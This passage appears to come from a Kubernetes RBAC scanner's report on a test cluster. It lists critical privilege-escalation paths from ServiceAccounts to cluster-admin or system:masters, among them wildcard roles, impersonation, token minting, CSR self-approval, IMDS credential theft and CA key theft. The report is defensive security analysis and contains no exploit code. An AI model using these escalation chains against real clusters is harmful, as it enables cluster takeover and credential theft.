    From ServiceAccount/cutres/cutres-detour → ServiceAccount/cutres/cutres-parallel
    Permission granted namespace-admin in cutres
    Gives the attacker can steal the token of co-located ServiceAccount cutres/cutres-parallel
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/cutres/cutres-parallel → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `cutres-parallel` in namespace `cutres` reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Survives cutting the cutres-parallel-a binding (1 hop)

This route reaches the same target without the cutres-parallel-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/deepchain-tenant/deepchain-privileged → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `deepchain-privileged` in namespace `deepchain-tenant` reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/flux-system/kustomize-controller → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `kustomize-controller` in namespace `flux-system` reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/foothold-exec/foothold-decoy-sa → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `foothold-decoy-sa` in namespace `foothold-exec` reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/hookbackend-fixtures/apisvc-installer → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `apisvc-installer` in namespace `hookbackend-fixtures` reaches cluster-admin in 1 hop via APIService rewrite: serving an API group.

  1. APIService rewrite: serving an API group apiservice_takeover

    An APIService registration tells the kube-aggregator which server answers an API group and version. One with spec.service set makes the aggregator proxy that group's requests to a Service, authenticating with the API server's own front-proxy client certificate and forwarding the caller's identity in headers. Rewriting the registration re-routes the group.

    For an aggregated group the attacker receives every request forwarded for it. For a native group (apps, rbac, authentication, core) the attacker serves it in the API server's stead, with the API server's credentials: that is cluster-admin, and nothing in-tree reverts the registration. The verb is held by installers such as metrics-server and is routinely granted without resourceNames.

    From ServiceAccount/hookbackend-fixtures/apisvc-installer
    Permission granted get,list,update apiservices
    Gives the attacker can re-point any API group's registration, native groups included, at a Service it controls, so the API server forwards that group's requests and its own credentials there
CRITICAL ServiceAccount/rbac-fixtures/sa-bind-escalate → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `sa-bind-escalate` in namespace `rbac-fixtures` reaches cluster-admin in 1 hop via RBAC bind/escalate bypass.

  1. RBAC bind/escalate bypass bind_or_escalate

    RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

    Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

    From ServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted create/update (cluster)roles + escalate
    Gives the attacker can widen a role it is already bound to, holding the `escalate` verb that lifts RBAC escalation prevention
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `sa-cluster-admin` in namespace `rbac-fixtures` reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `sa-impersonate` in namespace `rbac-fixtures` reaches cluster-admin in 1 hop via RBAC impersonation.

  1. RBAC impersonation impersonate

    Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

    Granting impersonate on groups with no resourceNames is equivalent to cluster-admin: the holder can impersonate system:masters. A resourceNames list limits the grant to the names it lists, compared exactly: resourceNames: ["*"] names a group literally called *, not every group.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate groups
    Gives the attacker can impersonate any group, including system:masters
CRITICAL ServiceAccount/rbac-fixtures/sa-rolebinding-mutate → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `sa-rolebinding-mutate` in namespace `rbac-fixtures` reaches cluster-admin in 1 hop via RoleBinding write access plus bind.

  1. RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-fixtures/sa-rolebinding-mutate
    Permission granted create/update (cluster)rolebindings + bind (cluster)roles
    Gives the attacker can bind itself to any role, holding the `bind` verb that satisfies RBAC escalation prevention
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `sa-wildcard` in namespace `rbac-fixtures` reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/rbac-fixtures/sa-token-create → cluster-admin score 9.5 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches cluster-admin in 2 hops via TokenRequest minting → Wildcard verbs × wildcard resources.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cert-manager/cert-manager
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/deepchain-tenant/deepchain-binder → cluster-admin score 9.4 3 hops View finding →

ServiceAccount `deepchain-binder` in namespace `deepchain-tenant` reaches cluster-admin in 3 hops via RoleBinding write access plus bind → Co-located ServiceAccount token theft → Wildcard verbs × wildcard resources.

  1. Step 1 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
  2. Step 2 of 3 Co-located ServiceAccount token theft colocated_sa_token_theft

    Administrative control over a namespace implies control over every identity inside it. Someone who can create RoleBindings in a namespace can create a pod that mounts any ServiceAccount there, exec into a pod already running as it, or read its token Secret directly.

    This matters when a namespace hosts an identity more powerful than the namespace itself, for example a controller whose ClusterRoleBinding grants cluster-wide permissions. Namespace-admin then becomes a stepping stone rather than a boundary.

    From ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted namespace-admin in deepchain-tenant
    Gives the attacker can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/nodeid-fixtures/nodeid-joiner → cluster-admin score 9.4 3 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches cluster-admin in 3 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → Wildcard verbs × wildcard resources.

  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/privesc-fixtures/sa-ephemeral → cluster-admin score 9.2 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches cluster-admin in 2 hops via Ephemeral container injection → Wildcard verbs × wildcard resources.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-exec → cluster-admin score 9.2 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches cluster-admin in 2 hops via Pod exec → container takeover → Wildcard verbs × wildcard resources.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create → cluster-admin score 9.2 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches cluster-admin in 2 hops via Pod creation → ServiceAccount token theft → Wildcard verbs × wildcard resources.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cert-manager/cert-manager
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/rbac-fixtures/sa-workload-mutate → cluster-admin score 9.2 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches cluster-admin in 2 hops via Workload creation → ServiceAccount token theft → Wildcard verbs × wildcard resources.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cert-manager/cert-manager
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/vulnerable/privileged-reader → cluster-admin score 9.2 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches cluster-admin in 2 hops via Pod creation → ServiceAccount token theft → Wildcard verbs × wildcard resources.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cert-manager/cert-manager
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → cluster-admin score 9.1 3 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches cluster-admin in 3 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Wildcard verbs × wildcard resources.

  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/privesc-fixtures/sa-secret-mint → cluster-admin score 9.1 3 hops View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches cluster-admin in 3 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Wildcard verbs × wildcard resources.

  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-create-escape → cluster-admin score 8.9 3 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches cluster-admin in 3 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → Wildcard verbs × wildcard resources.

  1. Step 1 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
→ the system:masters group

56 paths to the system:masters group

25 crit 31 high
CRITICAL ServiceAccount/csr-fixtures/sa-csr-mint → the system:masters group score 9.4 1 hop View finding →

ServiceAccount `sa-csr-mint` in namespace `csr-fixtures` reaches the system:masters group in 1 hop via CSR self-approval: forging a cluster identity.

  1. CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate → the system:masters group score 9.4 1 hop View finding →

ServiceAccount `sa-impersonate` in namespace `rbac-fixtures` reaches the system:masters group in 1 hop via Impersonation of system:masters.

  1. Impersonation of system:masters impersonate_system_masters

    The impersonate verb on groups with no resourceNames (or with resourceNames that list system:masters) lets the holder send requests as the hard-coded system:masters group. The kube-apiserver short-circuits authorization for that group, so every API call succeeds regardless of RBAC.

    This is the worst-case impersonation grant: it bypasses the cluster's entire RBAC layer rather than borrowing another principal's permissions.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate groups
    Gives the attacker can impersonate the system:masters group, bypassing all RBAC
Survives cutting the crb-impersonate binding (2 hops)

This route reaches the same target without the crb-impersonate binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/imp-app-5f78d6bb9d-bxmxv falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
CRITICAL ServiceAccount/rbac-fixtures/sa-token-create → the system:masters group score 9.3 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches the system:masters group in 2 hops via TokenRequest minting → CSR self-approval: forging a cluster identity.

  1. Step 1 of 2 TokenRequest minting token_request

